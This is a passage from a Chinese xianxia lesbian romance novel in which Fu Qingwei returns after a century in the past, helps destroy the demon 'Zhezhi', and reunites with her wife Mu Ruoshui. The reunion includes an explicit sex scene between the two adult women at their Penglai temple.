阴风和魔气笼罩,只看得到两道虚影在半空不断交错分开,再纠缠在一起。 红光和黑雾如同电光在龙卷里闪烁。 以二人为漩涡中心的沙暴蔓延,受波及的范围越来越大,底下众人被风沙和黑气迷得睁不开眼。 岁已寒紧急疏散剩下的灵管局众人,让她们去更远的地方布置防御结界,不能让战场扩大。 邱月白刚请过神,短时间不能再请神,岁已寒的雷法是群攻,天雷不分敌友,一旦降下,穆若水也要挨劈。 再者,这样的较量,已经不是普通修行者能加入的了,连顶尖的那一批也不行。 岁已寒带着邱月白后退。 岁已寒眯着眼,勉强看清里面的战局,穆若水一心要给傅清微报仇,自己亦心存死志,不躲不避,“折枝”的攻势全落在她身上,再怎么强悍无匹的肉身,一身青袍也染成血袍。 “折枝”自然也没好到哪去,以她不要命的打法,斗篷女人的黑雾甫一聚拢便被她撕碎,即便身体无形,也大大小小的挂彩了,好不容易凝聚身形,满身鲜血,连黑雾都修复不过来。 “折枝”低头吐出一口血,笑说:“你杀不死我的。” 砰—— 穆若水从上降下,迎着她的胸口膝盖重重撞了过去,“折枝”瞬间消散,这次凝聚身形的时间长了一些,可仍是完整的。 “我说了,你杀不死我。” 反之同样,她也杀不死穆若水。 她们俩都不死不灭,天生强大的“魔”。 “折枝”当真生出几分惺惺相惜之感,竟停下了攻击,说:“你本是魔,为何要与人类为伍?你我联手,人间易如反掌。我会是你的第一个朋友,你也会是我的。” 斗篷女人打开双臂,期待地望着她。 “加入我吧,我的好朋友。” “荒谬!”穆若水心想:我已与一个人成亲,永生永世是她的妻子。 即使她走了,她也绝不会毁了她用命守护的人间。 穆若水扬声:“岁已寒!” 岁已寒在底下应声:“在!” 穆若水喝道:“速速引雷!” 岁已寒犹豫半秒,大声应道:“是!” 立即持符念咒。 方圆数米的树木剧烈地摇动,狂风先一步抵达战场,乌云浓得和地上的黑雾不分伯仲,云层中翻滚着连绵的雷鸣,粗壮的紫光闪现。 轰—— 巨响在天地之间炸开,风云变色。 穆若水拉着“折枝”强行迎上了这记天雷,强烈的电流在肉身与黑雾之间流窜。 穆若水咬紧了牙,斗篷女人的身形则微微涣散。 “折枝”怒道:“你疯了!你们俩都疯了!” 她是,傅清微也是,一个两个都要和她同归于尽!该说不愧是两口子吗? 穆若水笑了:“你说谁?我妻子吗?” “折枝”:“……” 她竟然还笑得出来? 她要送死,“折枝”可不想死,她转身想逃走。天雷一道两道无所谓,要是被劈上一天一夜,再厉害的魔也要灰飞烟灭了。 穆若水岂能让她如愿,紫电不断地孕育在乌云之中,转而劈下人间。 “折枝”在穆若水的牵制下左支右绌,硬生生被劈中十几道,捂着胸口一声低哼。 一声比她更低的闷哼从穆若水口中传出来。 她的身体满是电流经过,焦黑的皮肤剥落,新生的血肉从里面长出来,再一次被雷电烧焦,周而复始。 她并不太疼,只紧紧地盯着对面的“折枝”。 “折枝”道:“你死后魂飞魄散,我死后不过百年,魔气将卷土重来!” 穆若水瞳仁鲜红:“那又如何?!” 她就是要她现在死,立刻马上,给傅清微偿命! 岁已寒:“真人!” 穆若水头也不回:“无妨,给本座接着劈!” “折枝”:“你!” 岁已寒抽出了自己的长剑,伸手握住剑身,一直拉到剑尖,涂满鲜血。 她持剑立在身前,开始念一大段长长的咒语。 方才只是阴沉的天颜色一层一层地加深,乌云更是打翻了墨汁,狂风吹得园区的树木连根拔起。 飓风之中,“折枝”冲向岁已寒。 她不可能让她召唤出更强大的天雷! 穆若水先一步挡在了她的身前,替岁已寒护法。 杀不掉,走不脱。 “折枝”惊怒交加,难以置信:“你为何要毁自己的长生!就为了一个凡人?!” 回应她的是穆若水毫不留情地出手。 天顶的乌云骤然铺满视线,整个世界仿佛都笼罩在黑暗之中,伸手不见五指,唯有银紫色雷电是唯一的光源,刺破了幕布的天空。 岁已寒念完了长长的咒语,睁眼一剑斩下! 人间骤然光芒大盛,刺痛人的眼膜流下泪来,蕴含着毁天灭地力量的三十六道天雷冲缠斗在一起的二人劈了下去! “折枝”又惊又惧,她的身形刚被穆若水打散,现在动弹不得。 白光彻底吞没之前,穆若水闭上了眼睛。 预料之中的剧痛并没有传来,岁已寒等人瞧着白光久久不散,刺目的天雷里多了一道持剑的身影。 挡在了穆若水的面前。 年轻的白发仙人背对众人,青袍翻动,长剑在手,三十六道天雷无一道落在穆若水身上,而是尽皆被引入布满冰雪的剑身,紫电清霜,再无更恰当的形容。 仙人引动雷电缠绕的长剑,回身冲着斗篷女人当空一剑! 天空一道巨大的剑影,三十六道天雷齐落。 魔气在天雷和剑气的双重威压下寸寸撕裂,“折枝”步步后退,不甘地看着自己的身体碎成一片一片,彻底被白光笼罩。 仙人从半空降落地面,依旧是背影面向众人,一头及腰的白发扬在风里。 “穆姐姐?” “娘亲?” “清微?” 最后一道声音使她的身影微微一僵,慢慢地回过头来,正是眼含热泪的傅清微。 穆若水朝她走过来,不敢相信地抚上她带着体温的脸颊,温柔目光噙上泪水。 “清微,你去了哪里?怎么头发全白了?” “若水。”女人的声音沙哑,似乎久未开口。 穆若水两手擦去傅清微簌簌滚落的泪水,与她温热额头相抵。 “没事了,我在这里。” 傅清微喉咙哽咽,只有流不尽的泪水。 一百多年了,她终于又见到了她。 穆若水从抵着她的额头变成紧紧拥着她,轻轻拍着她的背。 傅清微埋在她的颈窝里,湿热流进她的脖子:“师尊……” 穆若水应她:“我在呢。” “你是不是真的?” “你是真的,我就是真的。” 眼下并不是叙旧的好时机,傅清微把脸抬起来,看向旁边眼巴巴的龙璇玑,一只手牵紧穆若水,冲她招了招手。 龙璇玑飞奔过去。 “娘亲!” 是以前的娘亲!她熟悉的那个娘亲! 龙璇玑在傅清微面前一个急刹车,差点撞到她身上,然后她感觉一只轻柔的手落在了她的发顶,揉了揉。 “娘亲的璇玑都长这么大了。” 龙璇玑哇的一声哭出来,扑进傅清微的怀里。 “娘亲,我终于等到你了……” 她也不知道自己在说什么,明明她早就找到了娘亲,现在才感觉她回来了。 傅清微让了半边肩膀给她,另一只手抱住了穆若水的腰,跟她说:“确实是我们的女儿,回头我和你解释。” 穆若水痴缠地看着她的脸:“好。” 傅清微闭眼将脸颊贴着她的脸颊摩挲。 湿润的桃花瓣围着二人落了一地。 傅清微:“还这么爱哭。” 龙璇玑吸了吸鼻子,从傅清微怀里出来,看见她和师娘亲密,乖觉地让出了位置,道:“晚点我再来找娘亲。” 不远处岁已寒看着她们一家三口,满头雾水。 为什么傅清微消失又出现?为什么突然变得这么厉害?为什么青丝成雪,相思似海深? 邱月白跪在“折枝”消失的地上,什么都没剩下。 岁已寒蹲下来安慰她道:“折枝处长早就牺牲了,不过是魔物顶着她的皮囊。” 邱月白说:“我知道。我只是……” 幸好傅清微没事,否则她罪孽深重。 邱月白三十年前已死过一次,伤筋动骨一回,早就愈合得差不多了,对一个冒牌货没那么脆弱。 邱月白扶着岁已寒的手站起来,对着那道白发身影喊了声:“穆姐姐?” 傅清微温和地向她点了点头,承认了她的称谓。 邱月白想:原来面具之下藏得自始至终是她的脸。 岁已寒更摸不着头脑了。 灵管局的心腹大患,就这样被傅清微轻松地解决了。虽说有“折枝”和穆观主拼得两败俱伤,加上她事先引雷的缘故,但傅清微的实力显而易见已超出修者的范围。 岁已寒惊疑地瞧着她背负长剑,仙风道骨的身影,莫不是千年来真的有人飞升了? 可若飞升仙界,怎么能还在人间?插手人间之事? 傅清微牵着穆若水的手,眼神不离她的眼睛:“师尊,我想回蓬莱。” 穆若水说:“我带你回蓬莱。” 傅清微唤出背后长剑,相思剑停在她面前,离地一尺。 她刚要带着妻子踏上去,穆若水说:“猫还在灵管局。” 傅清微:“小三花吗?” 穆若水点头。 岁已寒立刻说:“我现在派人将猫接出来。” 傅清微说:“你们灵管局还是这么会办事。” 岁已寒:“……” 突然有一种辈分低了很多辈的感觉是怎么回事? 她拿出手机打电话,转头傅清微已又和穆若水抱在了一起,依偎在女人怀里,穆若水的五指梳着她背后的白发。 岁已寒边打电话边往回走。 穆若水也牵着傅清微的手往灵管局的方向走。 傅清微看似自然,实则和她交握在一起的指节紧紧地扣着,没有一刻放松。 岁已寒来到灵管局门口,问留守总局的人是怎么回事? 总局的人回答她:傅清微是凭空出现在灵管局大门口的,就在她突然消失后不久,前后只隔了十来分钟。 岁已寒:“?” 总局人员:“就是这样的,岁主任。” 岁已寒:如果信了的话感觉自己脑子不太好,可不信的话似乎也没什么办法。 那边傅清微已经接到了猫,伸手去摸猫时小三花好像不认识她的气息了似的,粉鼻子不断地嗅着她的手指。 最后它选择摆烂,让傅清微薅了一圈它毛茸茸的圆脑袋。 傅清微看起来眼眶又有点湿了。 和穆若水互视了一眼。 穆若水:“走吧,我们回家。” 岁已寒:“我来派车!” 她指了指天上,对傅清微说:“有航空管制,我们最好走陆路。” 傅清微小声对穆若水咬耳朵:“其实我飞不了那么高。” 穆若水抿唇笑了笑。 两人一猫坐上灵管局的车回蓬莱,小三花的航空箱放在副驾驶,傅清微枕着师尊的肩膀,两只手抱着她的一条胳膊,黏得她很紧。 自重逢到现在,她连上车都牵着穆若水的手,没有松开过。 这种情况大约会一直保持下去。 蓬莱山下。 穆若水拎好航空箱,傅清微奇异地打量着她。 穆若水:“?” 傅清微:“师尊牌工具人又上线了。” 穆若水:“你不是能飞吗?你自己拎。” 傅清微伸手来接,穆若水却侧身避开,说:“这次让你,下次你来。” “好吧。可是我想让你背我。” “休要得寸进尺。” “哦,结契那天晚上是谁说的,从今往后,任尔驱驰?” 对傅清微来说那已经是一百多年的事了,可她依然记得清晰,没有一日忘记过。 “为师当晚喝醉了。”穆若水张口就来。 “你喝什么了?” “你。” 傅清微老脸一红。 结契那晚确实在温泉先做了一次,穆若水喝了个饱。 为什么自己连这种事也记得啊? 是甜蜜太短,所以百年间每一个午夜梦回她都在回忆那一年的每一个细节。 穆若水拿乔够了,在她面前弯下腰,说:“上来吧。” 傅清微两手环着女人的颈,慢慢地趴了上去,脸贴着她冰凉的耳朵。 耳边的风声灌满听觉,唯有她们的身体紧紧贴合。 眨眼间到了蓬莱观后院门口。 穆若水放她下来,傅清微在掉金豆豆,女人的唇舌始料未及地压在她的眼角,将她的眼泪吃掉了。 女人顺势和她接吻,尝到的全是泪水的苦涩。 “好了,回家了,一切都会好起来。” 穆若水虽不知道她身上发生了什么,但一定受了很多她不知道的苦。 傅清微含泪嗯了一声。 推开开了一半的木门,改造过的蓬莱观现代方便,竹管蜿蜒引来山泉水,院子里晒着出门前的干辣椒,两只猫在地面追逐打闹。 一切都是她离开前的样子,仿佛还在昨天。 穆若水要去给她打水洗脸,傅清微不肯松开她的手,穆若水只好抬手引来水,给她洗了个清水脸。 她年纪轻轻,已一头白发,瞧在穆若水眼里,实在心酸。 她拉着傅清微坐在藤椅里,伸手捞起她根根雪白刺眼的发丝,问道:“你究竟发生了什么?” 傅清微看着她的眼睛。 “如果我说我回到了1918年,遇到了小时候的你,你会相信我吗?” “我会。” 穆若水抬头环视这座道观,说:“所以蓬莱留下痕迹的另一个人,被我忘记的人,就是你,对吗?” “你……” 傅清微没想到她能这么说。 穆若水自发现那本剑谱的图画后,就猜到道观里有第三个人,在她苏醒以前,和她住在道观里,她们也许在一起了很长时间,只是她忘了。 她认为与其执迷过去,不如怜取眼前人,是以并未去深思。 她与傅清微之间的灵魂感应,她的血可以压制她的红线,假如经过轮回不可能存在,这是她一直疑惑的一个点,彼时也只能用前世来解释。 如果只是傅清微回到过去,并未经历轮回,便顺理成章了。 傅清微:“炼尸的也是我。” 穆若水淡淡:“我知道。” 傅清微不由想起她还是姬湛雪的时候,她一直都如此聪慧。 穆若水:“我早就原谅你了。” 在她仍未想起一切之时,她就原谅她了。 穆若水让她靠在自己怀里,少见柔声道:“现在可以给我从头讲讲吗?你经历了什么?” 傅清微从那日灵管局阵破讲起,她被吞入饕餮腹中,玉佩里涌出的白光护住了她,她掉进了一片原始森林里,开始丛林生存…… 她许久没有说过这样多话了,守着穆若水的后三十年,她的话越来越少,后来竟数年未开口。 一时之间语序竟有些颠三倒四,有时会来回说同一句话,说过的跳回去又说一遍。 穆若水轻柔地握住她的手:“不要急,慢慢说,我会一直听着。” “我……我……” 傅清微突然泣不成声,胸腔里尽是漫长思念的酸楚,说不出口。 穆若水拥着她,轻轻拍着她的胳膊,安慰道:“没事的,没事了。” 傅清微大悲大喜,情绪极易失控,她哭了好一会儿才渐渐平复,说到她好不容易从森林里走出来,发现自己掉入了一百多年前的民国,她在城里打工呆了一个月,确认是真的穿越,那个时代没有穆若水后,从断崖纵身一跃,毫不留恋地跳了下去。 穆若水环着她胳膊的手臂收紧,掩去眼底上涌的雾气,说:“先到这里吧,待会再讲。你饿不饿?我去给你做饭。” 傅清微说:“师尊,我已辟谷了。” 穆若水:“那……” 傅清微忽然朝她一笑,说:“给我做吧,我想吃你做的饭了。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 160-163 第161章 穆若水没问傅清微什么时候辟谷的, 时间还长,慢慢她都会知道的。 只是那定是一段辛酸往事,不知延续了多少年, 她仅仅听了个开头, 便已忍不住打断她。 旁观尚且如此, 当事人又是怎样熬过来呢。 那是一个一个孤身度过的日夜,千百次的月圆。 从灵管局回来就快天黑了, 两人坐着说了一会儿话, 穆若水将院子里的灯打开,傅清微抬手挡了一下眼睛, 脱口说:“好亮。” 她已许久不见蓬莱观的灯光了。 傅清微放下手, 慢慢适应夜晚明亮的光线,环视这座灯火通明的道观。 穆若水牵着她进了厨房,她向来不喜傅清微在她做饭的时候打扰她, 今日却由着她从后抱着自己的腰, 走到哪儿跟到哪儿,寸步不离。 吃饭的傅清微只用一只手,左手将穆若水牵在手里。 “唉。” 傅清微叹了一口气, 说:“我做了好久的心理准备,让自己不要在吃第一口饭的时候哭出来,可是……” 后面的话她说不出来了,一味地哽咽。 穆若水不记得给她擦了几次眼泪, 温柔耐心,不厌其烦。 傅清微摆手深呼吸:“没事, 我缓一会儿就好。” 穆若水:“在我面前, 你可以尽情哭。” 傅清微:“呜呜呜。” 有一句话她没说出口,她已经一百多岁了, 不好总是哭哭啼啼的,她也要面子的。 虽说在师尊面前她早没有这种东西。 但毕竟是百岁老人了。 傅清微:“呜呜呜。” 越想忍结果越忍不住。 穆若水忍俊不禁,坐到她身边,用唇接去了她的眼泪。还是咸涩,但没有那么苦了。 傅清微抽抽搭搭地吃完了晚饭。 穆若水问她:“要不要洗澡?还是说你也用法术除尘?” 傅清微说:“要洗澡。” 一键除尘哪有热水澡舒服,她都好久没有洗过了。 穆若水看向她们俩牵在一起的手,挑了挑眉。 傅清微誓死不会放她手,于是主动道:“去泡温泉吧,可以牵着手泡。” 一百多岁就是不一样了啊,竟然敢邀请师尊泡温泉了,胆大包天。 傅清微暗暗腹诽自己。 两人手牵手去泡温泉,像小朋友去郊游。 两只小猫从院门口探出脑袋,并肩在门口坐成两个猫猫头。 由于傅清微不肯放手,两个人脱衣服脱得十分别扭且缓慢,好不容易褪了外衫,穆若水盯着她的荷花肚兜,面色沉吟。 傅清微捂了一下,说:“太穷了,没有条件。” 穆若水:“我知道。” 她刚醒那会穿的也是肚兜,还是鸳鸯戏水呢。 一脉相承。 其实后来傅清微成为灵管局顾问后,就不缺钱花了,灵管局那帮小的也孝敬她,动不动嘘寒问暖想给独居孤寡老人改善条件,只是傅清微早已心死,一直抱着老物件生活。 衣服也都是从前那些款式,她后来不出门,就更不需要添置了。 穆若水单手解开她的肚兜,说:“长大了。” 傅清微:“明明没有。” 她现在和穿回去前的身体一个生理年龄。 穆若水不是那个心思,她想说傅清微长大了,偶尔流露的眼神沧桑了许多。 但说出实话,傅清微又要掉金豆豆了。何苦惹她落泪? 穆若水嗯了声,顺她的意思淡道:“以后会变大的,为师努力。” 傅清微老脸又一红。 她和穆若水抱在一起,虽然是冬日,山里的风冷,二人皆不觉得。 还是穆若水扶在她的肩头,微微拉开怀抱,道:“外面冷,我们进池子里吧。” 傅清微盯着她版型合适的内衣,诱人身材犹抱琵琶,问道:“师尊怎么不脱?” 穆若水:“为师怕你眼晕。” 傅清微:“……” 这种不争气的往事,何必再提! 话虽如此,百岁老人傅清微还是没有挑战自己,她想好好泡个澡,暂时不想那个……好吧,其实也想了。 本来没想,一见到师尊的雪肩和后背就…… 至于水草丰茂,根本不敢看一点。 看穆若水的意思吧,她主动自己就配合,她先矜持一下。 穆若水牵着她下了水,在水里解了最后一层束缚,送到了石头上。 傅清微脖子以下都泡在温泉里,热意融进她的四肢百骸,放松得她有些想睡觉,傅清微连忙睁大了眼睛,赶走困意。 穆若水的手臂从水里伸出来,水珠映着头顶的星光。 她修长的指尖摸到了傅清微的脸上,徐徐地掠过她的五官和轮廓。 傅清微任由她摸着,和她对视。 穆若水:“我想吻你,可以吗?” 傅清微心想:师尊什么时候会提前打招呼了? 穆若水的鼻尖已经抵在她的鼻尖,唇瓣几乎挨上了她,说话的热气都扑在她唇齿间。 “可以吗?” 傅清微率先吻住了她。 在蓬莱观门口的吻只是浅尝辄止,穆若水尝到一嘴的眼泪。 现在才是久别重逢后道侣的接吻。 傅清微气势很凶,动作看起来也很急切,上来就咬住了女人的唇瓣,欺进她的唇齿往里揉弄,唇和舌头都被她激烈地欺负了一遍。 第一代蓬莱观主修为已臻仙境,却因为一个吻气喘吁吁,贪婪地攫取女人唇舌的温暖与甘甜。 她的心脏在剧烈地跳动,血液同时朝一个方向奔涌。 穆若水等她的动作缓下来之后,才慢慢地回应起她。 对她而言,虽遭逢巨变,可傅清微只消失了一会儿,在此之前,她们也只是分别了几天。 傅清微的软舌被女人含着,勾着她敏感的地方舔舐吮吻。 她的双臂不由自主地环上了女人的脖颈。 穆若水托着臀侧将她抱了起来,双脚离地,抬起来往她腰上圈。 傅清微睁眼:“等等,等等。” 穆若水:“?” 傅清微:“师尊,我不行。” 迎着穆若水不解的目光,傅清微诚实地说:“我想先从基础的开始,可以吗?” 她都一百多年没和师尊共赴云雨了,突然来这种刺激的,她实在心慌,还害怕。不是怕这件事,是怕自己过度的反应。 穆若水将她放了下来,亲了亲她的脸:“好。” 既然如此,温泉里也不可以了。 傅清微双脚重新踩在了水底的石头,两人坐到池边的石椅里安分泡池。 傅清微在水里摩挲着女人的指节,说:“这座温泉还是我们俩一起监工的呢,最初就几个泉眼,挖出来花了好大功夫。哦,我还没讲到这。师尊,我讲到哪里了?” “你从打工的城里出来。” “对。” 傅清微说:“我跳崖之后,就遇到了你。” 穆若水低垂的长睫毛抬起来,和她对上视线。 傅清微观察她的神情,瞧不出喜怒。 她知道师尊对过去的记忆似乎不在意,可若与她有关又是另一回事了。她会认为姬湛雪也是自己吗? 穆若水平静道:“你继续说。” 傅清微:“我昏迷在一条河边的乱石上,当时只有四岁的你发现了我,叫来村里的巫医,她叫巫祝,是一个很好的老人。巫祝和你救了我,我因为伤得太重在村子里养了半年,后来天气太冷,我一直待到了来年春天。” 傅清微省去了一心寻死的心路历程,只讲客观发生的事。 “你虽已四岁,因情根不全,一直不会说话,但是每日来巫祝家点卯看我,喂我一顿药,你猜为什么?” “为什么?”穆若水配合道。 “因为我是你捡到的,你把我当你的小狗。”傅清微哈哈笑出声。 “这么喜欢当小狗?” “喜欢当你的小狗。” 傅清微说完,觉得她俩对话的尺度有点大了。 穆若水果然过来吻她,她们的手还牵在一起,因为傅清微不想在温泉里,所以穆若水扣着她的手指压在了自己的大腿上。 傅清微指节曲了曲,指腹贴着摩挲,水里的肌肤愈发滑腻了。 她心跳加速,口干舌燥,全身都好似火烧。 “师尊,要不我们回去吧?” 傅清微被她亲得气喘吁吁,仰起颈子,说:“我想……你……我。” 百岁女大害羞了不少。 穆若水吻着她的侧颈,舌尖在沾满水意的肌肤上勾了一下,傅清微伏在她怀里细细地颤抖。 从温泉回道观,不仅要出浴还要穿衣服,再夜色赶回去,不如就地。 可傅清微刚回来,她的意愿最重要。 好在山中无人,穆若水抱她从温泉出来,给傅清微从头到脚裹了一件外袍,她自身衣衫未束,前襟敞开,傅清微在她怀里,脸刚好对着女人的雪山红梅。 甚至她只要低头一张嘴就可以含住。 傅清微闭上了眼睛。 穆若水在飞行中抽空瞧了她一眼,笑道:“又眼晕了?” 傅清微:“有点。” 师尊好性感。 一想到她四岁是那个烂性格,刚比床高的小不点,傅清微就有种割裂感。 现在那个脾气不好的小孩长大了,要操自己。 傅清微:“……” 年上变年下!不能再想了! 从上方落进道观里,傅清微受惯性影响晃了一下,女人的沉甸甸受重力影响也晃动了一下。 傅清微:“……” 好大,这下彻底忘记小不点了。 穆若水关上房门,从门口开始吻她,傅清微只是裹了件外袍,而不是穿着,刚被放下来就掉落在地上。 穆若水倒是穿着衣服,傅清微的手伸进去环着女人的腰,接吻的迷乱间隙里上下抚着她的后背。 “我好想你。” “我也是。” 激烈的接吻过后,穆若水仍抵着她在门边,低头一下一下啄吻年轻女人的唇。 “还好吗?”穆若水问,刚回来的傅清微多愁善感,她需以百倍的耐心。 “嗯。” “我抱你去床上?” “好。” 在温泉里火急火燎,到了主要战场反而不着急了,因为可以随时开始,穆若水半侧着身子,执起傅清微一只手的手背到唇边清浅地吻着。 傅清微将被子往上拉了点,盖住女人让她眼晕的地方。 “刚才我讲到哪了?” “你是小狗。”穆若水亲了一口重的。 “对,我是小狗。”傅清微笑道,“我知道以后特别生气,跟你说,你走。然后你就走了,晚上给我送鹿腿还是獐子腿赔罪来着。我在村子那段时间,你虽然性格一般,但对我特别好,经常送吃的穿的。冬天给我送了熊皮,巫祝都没有呢。” “你在那里过得开心吗?” “挺开心的。”除了没有你。可这一件事,足以抵掉所有的快乐。 “那就好。” 穆若水指腹拭去她眼角的湿润,说:“怎么又哭了?” “我是喜极而泣。太开心了,所以……” 穆若水不戳破她的谎言,手一搂,让她的眼泪都流在自己胸口。 傅清微的脑袋被她按着埋进去,闷闷地说:“喘不过气了,师尊……” “你都辟谷了,应该可以暂时不呼吸氧气的?” “是。可是我会脸红。” “我看看。”穆若水好整以暇地挑起她的下巴,在黑暗里看她涨红的脸,指尖来回揉着她滚烫的耳朵尖。 “嗯?多少岁了还害羞?” 也就一百多岁吧。 傅清微:“我喜欢你嘛。” 话题先到这里,因为穆若水的指尖挑开她脖子里的长发,埋首吻了下来,温凉的唇游走在耳颈。 傅清微捏紧了拳头,腰线紧绷,挺得和相思剑的剑鞘一样直。 穆若水察觉到她瞬间的僵硬,停下来道:“怎么了?” 傅清微:“没事,不、不太习惯。” 她被子里的两条长腿悄悄并了并,尽量不动声色。 谁好人亲一下脖子就…… “接吻习惯吗?”穆若水没发现她僵硬的真正原因。 “差不多习惯了。” 穆若水捏着她的下巴轻轻地和她接吻,傅清微张着嘴回应,迎接她渡过来的雨露甘霖,手臂渐渐地环上女人柔美的颈项。 穆若水后背盖着被子,前面毫无遮挡地抵着她,肌肤相亲地贴合磨蹭。 傅清微又:“等等。” 穆若水没等,咬着她的唇将她抱得更紧,说:“待会就习惯了。” 傅清微根本习惯不了。 穆若水再一次亲到她的耳朵,两人在被子里如同藤缠树一般的身体交织相抵,傅清微难耐地咬住了下唇,偏开头去。 一大片淡粉耳颈送到了穆若水的唇边,羊入虎口。 穆若水轻咬她的耳廓,含弄她的耳垂,身体压得越来越低,两人交叠互蹭的形状东倒西歪。 傅清微忽然闷哼了一声。 “师尊,停一下。” “什么?”穆若水的唇刚来到她的肩线。 “我好了。” “你什么好了?” 穆若水莫名,直到傅清微抬头贴近她的耳朵,难为情地把“好”换成了另一个词。 “……” 穆若水说:“可是你只是嗯唔了一声。” 傅清微心里叹了口气。 那她以前要躲着小孩干这种事,怎么能肆无忌惮地叫呢?忍着忍着,已经忍成习惯了。 穆若水:“别的事由你,这件事听我的,我的小猫咪呢?” 傅清微:“小猫咪在这里。” “什么好什么多?” “又好又多。” 穆若水不信,指腹贴上去勾了勾,确实很多。 可是她们只是抱着接了个吻而已,她没动手更没动口。 傅清微没讲到那么远,不知道怎么和她解释,自己已经是一百多年没有女人碰过的身子了。 一簇星火,就能点燃。 傅清微:“师尊。” 穆若水抱着她,指尖从她的锁骨和肩头横向划过,又变成纵向,自上而下,懒懒地应道:“嗯?” “今晚我可能会很不争气。” “在为师面前怕什么丢脸?” “话是这样说,你不准笑我。” “我不笑,高兴还来不及。” 谁不喜欢看到自己的小猫咪无力抵抗的样子?随便一个亲吻或者挑弄,都能勾起她身体里汹涌的潮汐。 穆若水将她抱得高了些,低头刚好吻住她,舌尖打转,唇瓣轻抿。 连牙齿也一并用上,细细地噬咬。 一边亲一边抬头看她的反应。 傅清微的心口起伏,将脸扭向一边,穆若水伸手过去,给她扳正,让她垂眼望向自己。 “不喜欢吗?”她口中含着,舌尖扫动,含混地说道。 傅清微挺了挺身子,手轻轻落在女人的发丝,气短地迎合她。 断断续续地喘气,像是舒服的叹息。 穆若水用力地吸吮了一下,傅清微的叹息乍然停止,喉咙里短促地冲出一声。 “师尊……”她的声音变成啜泣的哀求。 穆若水舌尖轻点,绕着被欺负的红艳舔吻,一双手环到她的后腰抱住她。 傅清微也回抱住她。 两人面对面交叠抱在一起,傅清微坐得比她略高,后来才知道是方便女人更好地欺弄她。 “喂我。”穆若水仰头说。 傅清微热气冲上耳根,捧起自己喂她。 穆若水咂弄出了声音。 从左到右,由点及面,照顾周到。 傅清微面红耳赤,情不自禁抬手揉着女人冰凉的耳尖,又按住她的脑袋带到自己身前。 “师尊……师尊……” 她的颈项轻向后折,帐顶的花纹晃动。 某个时刻,梳着女人发丝的指节骤然收紧。 傅清微已不知在餐前点心环节多少次的达到了正餐体验,穆若水抱着她重新躺下来的时候,她别扭问:“能换块地方吗?去你那边吧。” 穆若水好奇摸了摸她躺着的那块地方,陷入沉默。 傅清微恼羞成怒:“你说了不笑的!” 穆若水澄清:“我是高兴。” 穆若水带着她躺到床的外侧,温柔地说:“既然这么多,我先帮你弄干净好吗?” 傅清微太久没有这种体验,加上女人的表情和语气太有欺骗性,她一时竟然真的把穆若水当成一个人看待。 傅清微:“好。” 她不想把穆若水这里也祸害了,晚上还要睡觉呢。 穆若水离开了她的视野,存在感出现在了别的地方。 两枚玉碗倒扣的膝盖被扶住,傅清微又看见了师尊的脸,她俯身向自己靠近。 出现又消失。 傅清微忽然闷哼一声,紧紧地咬住了下唇,喉咙和胸腔里都有陌生清脆的声音在生长。 “师尊!” 穆若水的舌尖浅浅一勾,离开她翕动的双唇,冲着亮晶晶的唇瓣吻了上去,含在嘴里大口地汲取她所需的露水。 傅清微的脑袋扭来摆去,逃不脱女人绵柔的桎梏。 “若水——” 尖锐的感觉汹涌,傅清微探进女人发丝的指根带下来一根乌黑的发丝,心口剧烈起伏,气息紊乱。 穆若水松开她,湿润的下巴蹭了蹭她的脸颊。 傅清微已彻底失去力气。 穆若水将搅过的舌尖伸进她嘴里她也无力抵抗,仰着头和她接吻,眼角泛红的泪水还在滑落。 穆若水吃了水吃泪水。 总之傅清微的一切她都不放过。 傅清微刚休息一会儿的唇迎来不速之客,一位接一位地闯入。 穆若水两根手指挤进她的唇缝,被女人调教得湿软的双唇容纳了她,且热情地咬住她呼吸。 穆若水看着傅清微的眼睛,在她软热的唇瓣里滑动。 傅清微:“唔。” 穆若水去吻她的脖子,令傅清微迷乱的那种轻喘声响起在她的耳边。 穆若水的修长手指和她的唇接吻制造出水声。 两种声音交织,加入了傅清微的第三种,两人都情迷意乱地拥抱着彼此亲吻,直至世界崩溃的尽头。 傅清微崩溃的哭叫过后,她拉成弓弦的身子成了一张穆若水怀里的弓。 穆若水自背后抱着她,贴合她弯曲的线条,严丝合缝地拥住,手臂横在她布满汗水的身前。 “宝贝……”她亲了亲傅清微的耳朵,满足地叹息道。 傅清微觉得这半边床也保不住了。 穆若水的另一只手扣在她腰间,虽尚且安分,但嘴唇已经亲到傅清微的颈项了。 她一向能折腾。 只要傅清微不睡着,她能折腾到天亮。 傅清微拉住她的手,往她想要的地方去。 …… 天色蒙蒙亮。 傅清微俯身伏在床上,女人在她漂亮的蝴蝶骨留下黏连的唇印,一只手从手背扣着她的五指,压在了枕头上。 穆若水从背后压下来,亲昵地亲了亲她的脸。 “小猫咪怎么不睡觉?” 傅清微避而不答,岔开话题说:“你想睡了吗?” 穆若水说:“有一点,如果你不睡的话我就不睡了。” 她一个非人类,在傅清微的陪伴下早就养成了人类的作息,忙了一晚,该补觉了。 傅清微道:“那睡吧,我和你一起。” 穆若水翻身下来,将被自己涂抹得满是痕迹和气息的傅清微搂进怀里,低头含了含她喜欢的,方拥着她睡去。 傅清微闭了下眼睛,只是假装睡觉的那十几秒也使她睫毛剧烈抖动。 傅清微睁开了眼帘,心率以飙升的速度狂奔,许久才平复下来,心悸的余痛蔓延开她的心脏。 她睁眼看着睡在她怀里的女人。 还在。 只要她不闭上眼睛,她就一直在。 傅清微怕注视的目光太久会让穆若水惊醒,所以眼神游离在她四周,床头、帐顶、床尾,她被子掩映下的锁骨、胸口。 偶尔很珍惜的一眼,落在妻子的脸上。 * 穆若水睡到了中午,一睁眼便见傅清微的眼珠一错不错地盯着她。 被她抓个正着,不好意思地偏开视线。 穆若水将她带过来亲吻她,鼻音慵懒问:“什么时候醒的?” “比你早半个小时。”傅观主面不改色。 穆若水埋进她颈窝,锁骨上方留下一个新鲜的粉色印记,半阖着眼道:“怎么不叫醒我?” “想偷看你。” “花言巧语。” “更正:甜言蜜语。” “你是我道侣,把我叫醒了看也是一样的。”穆若水抬起脸说,“我也想看你。” “下次一定。”傅清微和她推拉着太极。 穆若水微不可见地蹙了蹙眉,忽略内心的异样,道:“起床吃饭吗?都中午了。” “我不饿。” “又忘了你已经辟谷了。” 穆若水支起一半的身子躺了回来,不做饭干吗呢?在床上躺一天吗? 傅清微看起来确有此意。 她怪怪的。 傅清微:“师尊,我昨晚表现得不好,你能不能再让我表现一次?” 穆若水惊讶地望了望窗外的天色:“可是现在是白天……” 她不是一向不在白日做的吗? 